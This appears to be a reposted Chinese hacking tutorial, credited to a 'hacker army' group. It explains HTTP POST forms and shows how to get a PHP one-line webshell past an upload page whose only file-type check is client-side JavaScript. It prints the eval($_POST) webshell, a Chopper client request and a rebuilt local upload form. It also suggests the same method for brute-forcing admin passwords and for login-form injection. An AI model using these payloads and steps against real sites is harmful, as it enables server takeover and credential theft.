好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

POST表单与上传突破JS后缀名检查分析 - 网站安全

   本文纯属科普文,在看本文前,请简单了解一下GET与POST的区别: 《 网站表单接收信息提交方式:Get与Post 小讲 》 如果这个文章你没看懂,或者不想看,那么我来给你更简单的讲一下GET与POST GET体现在url当中,通常我们遇到的注入也好,文件包含也好,多数是GET方式的,而远程密令执行,任意文件执行等getshell 漏洞 多数是POST的方式进行的 我并没有一概而论,注入也有很多POST,例如典型的万能密码就是POST注入,咱不要钻牛角尖。 那么GET和POST的区别在哪里呢? GET是直接体现在url当中的,例如当x.php以GET方式接收cmd变量时,格式是这样的/x.php?cmd=xxxxx 而POST则是表单,可见可不见,例如x.php以POST方式接收cmd变量时,url依然是x.php,后面什么东西也没有,但是IE、safari、chrome等 浏览器 其实已经通过网页中的<form></form>标签完成了数据交换。 我想你应该懂了大概了吧,如果不懂,就继续去恶补html吧,这是html最基本的http数据交换,好了,我们开始正文了 首先我们来看一个php的一句话webshell:     <?php   eval($_POST['xxx']);   ?> 复制代码 通常我们都是用一句话客户端例如菜刀等直接使用,可是你又知道菜刀是怎么工作的吗?为什么xxx是密码?? 其实很简单 php通过POST取值执行php代码。那么执行phpinfo()这个php代码的话,一句话客户端就会发送下面的数据:     POST /cmd.php HTTP/1.1   Host:blackbap.org   User-Agent: Chopper   Accept: text/xml,application/xml,application/xhtml+xml,   text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5   Accept-Language: zh-cn;q=0.5   Accept-Encoding: gzip,deflate   Accept-Charset: gb2312;q=0.7   Keep-Alive: 300   Referer: http://HdhCmsTest2cto测试数据 /cmd.php   Content-Type: application/x-www-form-urlencoded   Content-Length: 14   xxx=phpinfo() 复制代码 我们直接看最后一行,是的,这就是post发送数据 如果进行抓包的话,我们一定会看到这样类似的数据包发送 那么,这样的数据发送是如何在浏览器中完成的呢?其实更简单     <form action="http://blackbap.org/cmd.php" method="POST">   <input type="text" id="xxx" value="phpinfo()">   <input type="submit" value="提交">   </form> 复制代码 把上面代码保存为xx.html提交,就发送了上面抓包的POST数据了。 那么我们可以看到这样的一个关系: 如果一句话木马中:     $bl1 = $_POST['bianliang1'];   $bl2 = $_POST['bianliang2'];   $bl3 = $_POST['bianliang3'];   .............   $blN = $_POST['bianliangN']; 复制代码 那么在form中就可以:     <input type="text" id="bianliang1" value="">   <input type="text" id="bianliang2" value="">   <input type="text" id="bianliang3" value="">   .....   <input type="text" id="bianliangN" value=""> 复制代码 那么POST数据包中的末尾就是: bianliang1=xxxx&bianliang2=xxxx&bianliang3=xxxx&.....bianliangN=xxxx 恩,这很简单。 那么我要讲什么呢? 我们看这样一个后台:     <script language="javascript" type="text/javascript">   function val()   {   if(document.addpro.album_title.value=="")   {   alert("Enter project title");   document.addpro.album_title.focus();   return false;   }   if(document.addpro.album_pos.value=="")   {   alert("select the position");   document.addpro.album_pos.focus();   return false;   }   if(document.addpro.album_image.value!="")   {   var img=document.addpro.album_image.value;   var pos=img.lastIndexOf('.');   if(pos<0)   {   alert("Unsupported image format");   document.addpro.album_image.focus();   return false;   }   if(pos>=0)   {   var mainext=img.substr(pos+1);   if((mainext!='jpg')&&(mainext!='JPG')&&(mainext!='jpeg')&&(mainext!='JPEG')&&(mainext!='gif')&&(mainext!='GIF')&&(mainext!='bmb')&&(mainext!='BMB')&&(mainext!='png')&&(mainext!='PNG'))   {   alert("Unsupported image format");   document.addpro.album_image.focus();   return false;   }   }   }   }   </script>   </head>   <form method="post" enctype="multipart/form-data" name="addpro">   <select>   <option value="">Select the position</option>   <option value="1">1</option>   <option value="Last">Last</option>   </select></td>   <input type="file" name="album_image" /></td>   <input type="submit" name="Submit" value="ADD" />   </form> 复制代码 这是一个管理员后台[相册添加]的右键查看源代码的实例(有删改),如果直接在这样的后台选择php文件上传作为相册封面是不行的。 因为我们看到有这样一段代码:     if((mainext!='jpg')&&(mainext!='JPG')&&(mainext!='jpeg')&&(mainext!='JPEG')&&(mainext!='gif')&&(mainext!='GIF')&&(mainext!='bmb')&&(mainext!='BMB')&&(mainext!='png')&&(mainext!='PNG')) 复制代码 这里做了判断,如果后缀名不是jpg,JPG,jpeg,JPEG,gif,GIF,bmb,BMB,png,PNG,就会失败 那么这段JavaScript是如何影响POST数据的呢? 我们可以看到在<form>标签中有这样一句:onsubmit="return val();" 是的,就是这句代码,让form执行了Javascript 那么问题就来了,Javascript是本地浏览器,也就是访问网页的人执行的,如果我拒绝执行,那么岂不是可以不受他的后缀名限制? 那么这就太简单了,浏览器禁用JS并不是个非常好的方法,最保守的方法是:     <form method="post" action="能够上传相册图片的url地址" enctype="multipart/form-data">   <select name="position">   <option value="">Select the position</option>   <option value="1">1</option>   <option value="Last">Last</option>   </select></td>   <input type="file" name="album_image" /></td>   <input type="submit" name="Submit" value="ADD" />   </form> 复制代码 我们把onsubmit换成action,并填入可以上传图片的url,保存为xxx的html用浏览器打开。好了,下一步就可以直接POST上传php文件了 至于抓包嘛,你可以看看,最后应该是     position=Last&album_image=<?php eval($_POST[c]);?> 复制代码 明白了原理,我们还可以扩展一下,比方说没有验证码的后台,我们只要右键查看后台登陆界面的[源代码],修改action的地址,保存为html再通过替换value的方式用工具暴力 破解 后台密码了 还有POST后台登陆框注入等等:http://HdhCmsTest2cto测试数据/Article/201112/115384. html 看完此文的高手们也许会失望,但是我开头说了,科普文而已,很简单的东西 作者:YoCo Smart 来自:Silic Group Hacker Army

查看更多关于POST表单与上传突破JS后缀名检查分析 - 网站安全的详细内容...

  阅读:50次